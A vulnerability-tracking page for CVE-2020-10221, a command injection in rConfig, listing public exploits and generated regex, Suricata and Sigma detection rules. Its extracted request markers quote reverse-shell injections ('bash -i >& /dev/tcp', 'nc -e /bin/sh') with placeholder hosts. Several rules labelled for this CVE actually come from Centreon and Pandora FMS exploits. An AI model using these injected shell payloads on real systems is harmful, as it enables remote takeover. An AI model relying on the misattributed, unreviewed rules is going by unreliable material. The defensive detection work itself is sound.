PoC Monitor
← All CVEs
CVE-2020-10221published 8 Mar 2020 21:03 UTCData: JSON · API

rConfig

rConfig OS Command Injection Vulnerability

lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName POST parameter.

First public PoC 3.1 daysafter publication · 12 Mar 2020 · Exploit-DB
Public PoCs31 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS8.8high · scored by CISA ADP · CWE-78
CISA KEV 3 Nov 20211.7 years after publication

Timeline

Days relative to CVE publication
t=0+90+180+270+360+450+540CVE published8 Mar 2020 · t = 0First public PoC12 Mar 2020 · t+3.1dAdded to CISA KEV3 Nov 2021 · t+1.7y

First public PoC 3.1 days after publication; added to CISA KEV 1.7 years after publication. First PoC: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution (Exploit-DB, 12 Mar 2020).

PoC repositories

Found on GitHub.

1 PoCs · 1 pending

PoCs 1
RepositoryCreatedStarsAssessment
EnginDemirbilek/PublicExploits 21 May 2020 +74 d 0 PoC via PoC Index
Pending 1
RepositoryCreatedStarsAssessment
Live-Hack-CVE/CVE-2020-10221 unknown 0 Pending · repository unavailable (HTTP 404)

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
Exploit-DBrConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution12 Mar 202014 Nov 2026
nuclei templatenuclei template: rConfig <= 3.9.4 - Authenticated OS Command Injection14 Jul 202614 Nov 2026

PoC characteristics

What to hunt for in your logs · from 1 PoC repo

GET /include/views/graphs/graphStatus/displayServiceStatus.php

Seen in
1 repo: EnginDemirbilek/PublicExploits
Evidence
EnginDemirbilek/PublicExploits/CVE-2020-13252-Centreon.py:85

POST /lib/ajaxHandlers/ajaxAddTemplate.php

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Body markers
;bash -i >= /dev/tcp/{}/{} 0>= 1;= in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 Gecko/20100101 Firefox/72.0
Seen in
1 repo: EnginDemirbilek/PublicExploits
Evidence
EnginDemirbilek/PublicExploits/CVE-2020-10221-rConfig.py:41

POST /lib/crud/userprocess.php

Body markers
user= pass= sublogin=1 in application/x-www-form-urlencoded
Seen in
1 repo: EnginDemirbilek/PublicExploits
Evidence
EnginDemirbilek/PublicExploits/CVE-2020-10221-rConfig.py:31

POST /pandora_console/index.php

Query
login=1 sec=netf sec2=operation/netflow/nf_live_view pure=0
Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Body markers
nick= pass= login_button=Login ";nc -e /bin/sh {var} {var} #= in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 Gecko/20100101 Firefox/72.0
Seen in
1 repo: EnginDemirbilek/PublicExploits
Evidence
EnginDemirbilek/PublicExploits/CVE-2020-8947-pandorafms.py:40 EnginDemirbilek/PublicExploits/CVE-2020-8947-pandorafms.py:68

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /include/views/graphs/graphStatus/displayServiceStatus.php
(?i)^/include/views/graphs/graphStatus/displayServiceStatus\.php(?:[?#].*)?$
GET /main.get.php
(?i)^/main\.get\.php\?(?:.*&)?p=50118
POST /lib/ajaxHandlers/ajaxAddTemplate.php
(?i)^/lib/ajaxHandlers/ajaxAddTemplate\.php(?:[?#].*)?$
POST /lib/crud/userprocess.php
(?i)^/lib/crud/userprocess\.php(?:[?#].*)?$
POST /main.get.php
(?i)^/main\.get\.php\?(?:.*&)?p=50118

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /include/views/graphs/graphStatus/displayServiceStatus.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/include/views/graphs/graphStatus/displayServiceStatus.php"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9599572; rev:1;)
GET /main.get.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/main.get.php"; http.uri; content:"p=50118"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9621423; rev:1;)
POST /lib/ajaxHandlers/ajaxAddTemplate.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/lib/ajaxHandlers/ajaxAddTemplate.php"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.request_body; content:"|3b|bash -i >="; http.request_body; content:"/dev/tcp/{}/{} 0>="; http.request_body; content:"1|3b|="; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9544003; rev:1;)
POST /lib/crud/userprocess.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/lib/crud/userprocess.php"; http.request_body; content:"user="; http.request_body; content:"pass="; http.request_body; content:"sublogin=1"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9806295; rev:1;)
POST /main.get.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/main.get.php"; http.uri; content:"p=50118"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9630383; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /include/views/graphs/graphStatus/displayServiceStatus.php
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9599572
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/include/views/graphs/graphStatus/displayServiceStatus.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.10221
GET /main.get.php
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9621423
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/main.get.php'
    cs-uri-query|contains|all:
      - 'p=50118'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.10221
POST /lib/ajaxHandlers/ajaxAddTemplate.php
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9544003
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/lib/ajaxHandlers/ajaxAddTemplate.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.10221
POST /lib/crud/userprocess.php
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9806295
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/lib/crud/userprocess.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.10221
POST /main.get.php
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9630383
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/main.get.php'
    cs-uri-query|contains|all:
      - 'p=50118'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.10221